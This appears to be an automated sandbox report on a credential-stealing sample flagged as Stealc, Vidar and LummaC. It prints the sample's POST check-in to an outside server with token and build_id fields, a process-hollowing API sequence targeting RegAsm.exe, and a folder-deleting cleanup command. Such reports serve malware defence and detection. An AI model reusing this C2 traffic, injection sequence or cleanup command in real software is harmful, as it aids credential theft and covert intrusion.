2024-09-26 17:07:04 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	59793	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:07:06 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:07:06 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 38 61 61 35 32 38 39 39 66 63 62 32 62 30 66 36 61 33 62 63 64 65 64 66 39 64 32 32 39 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"4c8aa52899fcb2b0f6a3bcdedf9d2294------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------DBKFIDAAEHIEGCBFIDBFCont
2024-09-26 17:07:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:07:07 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Target ID:	0
Start time:	13:05:06
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5a0000
File size:	334'376 bytes
MD5 hash:	10B1172549949F835F59BD598CFC4318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1735460446.0000000003965000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:05:06
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:05:07
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:05:23
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKECGDBFCBK.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:05:23
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:05:23
Start date:	26/09/2024
Path:	C:\Users\userKECGDBFCBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userKECGDBFCBK.exe"
Imagebase:	0x490000
File size:	413'224 bytes
MD5 hash:	2CCE29D734EA1D227B338834698E2DE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:05:23
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:05:24
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa50000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2627711510.000000000106A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:05:26
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userHJEBGHIEBF.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:05:26
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:05:26
Start date:	26/09/2024
Path:	C:\Users\userHJEBGHIEBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userHJEBGHIEBF.exe"
Imagebase:	0x2c0000
File size:	385'064 bytes
MD5 hash:	16F5B27C9E1376C17B03BF8C5090DB3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:05:26
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:05:27
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:06:28
Start date:	26/09/2024
Path:	C:\ProgramData\HDGCAAFBFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\HDGCAAFBFB.exe"
Imagebase:	0xee0000
File size:	385'064 bytes
MD5 hash:	16F5B27C9E1376C17B03BF8C5090DB3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:06:28
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:06:28
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x840000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:06:32
Start date:	26/09/2024
Path:	C:\ProgramData\AFBFHDBKJE.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AFBFHDBKJE.exe"
Imagebase:	0xc10000
File size:	413'224 bytes
MD5 hash:	2CCE29D734EA1D227B338834698E2DE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:06:32
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:06:32
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x900000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:06:36
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIDAAFIEHIE" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:06:36
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:06:36
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x930000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	33.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	50%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0296212D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0296209F,0296208F), ref: 0296229C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 029622AF
Wow64GetThreadContext.KERNEL32(00000094,00000000), ref: 029622CD
ReadProcessMemory.KERNELBASE(0000008C,?,029620E3,00000004,00000000), ref: 029622F1
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 0296231C
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 02962374
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 029623BF
WriteProcessMemory.KERNELBASE(0000008C,-00000008,?,00000004,00000000), ref: 029623FD
Wow64SetThreadContext.KERNEL32(00000094,02940000), ref: 02962439
ResumeThread.KERNELBASE(00000094), ref: 02962448

Strings

aryA, xrefs: 02962173
ress, xrefs: 029621B7
GetP, xrefs: 029621AF
SetThreadContext, xrefs: 02962253
GetThreadContext, xrefs: 02962207
WriteProcessMemory, xrefs: 02962240
VirtualAlloc, xrefs: 029621F4
ResumeThread, xrefs: 02962269
CreateProcessA, xrefs: 029621E1
TerminateProcess, xrefs: 0296232B
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 0296229B
VirtualAllocEx, xrefs: 0296222D
ReadProcessMemory, xrefs: 0296221A
Load, xrefs: 0296216B

Memory Dump Source

Source File: 00000000.00000002.1733856597.0000000002961000.00000040.00000800.00020000.00000000.sdmp, Offset: 02961000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2961000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 4e62fad09eef4af68364eb93cf95e3d26652dd7eba955233733361a957e57be7
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: B2B1E77664024AAFDB60CF68CC80BDA77A5FF88714F158524EA0CEB341D774FA418B94

Function 02900C40 Relevance: .3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1733784716.0000000002900000.00000040.00000800.00020000.00000000.sdmp, Offset: 02900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1cfbfaf72d493fd4276d091dcaa2f8031681a7ff7d44e0c7fb4fbe74bb8079
Instruction ID: 13f6d752f88081e8af6056bdb903092ccfeda31e00db0e3cd56994e066c58ec8
Opcode Fuzzy Hash: 4a1cfbfaf72d493fd4276d091dcaa2f8031681a7ff7d44e0c7fb4fbe74bb8079
Instruction Fuzzy Hash: 05D18B70A042599FCB05CBA8C9C0BEDFBF2AF48314F248569E455E7296C735AC81CBA4

Function 02901220 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 029012A0

Memory Dump Source

Source File: 00000000.00000002.1733784716.0000000002900000.00000040.00000800.00020000.00000000.sdmp, Offset: 02900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2900000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 12a40024f749c59c023b35349e985a06574dfd140d2e7633cb664bed135730bd
Instruction ID: 6e968e1f7a2ab405ce1c33d5565f27c4b409e8d673300f3c0f80570e7715a05e
Opcode Fuzzy Hash: 12a40024f749c59c023b35349e985a06574dfd140d2e7633cb664bed135730bd
Instruction Fuzzy Hash: 652110B19002599FCB10DFAAC980ADEFBF5FF48314F10842AE959A7250C774A944CFA5

Analysis Process: RegAsm.exePID: 6112, Parent PID: 6756COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
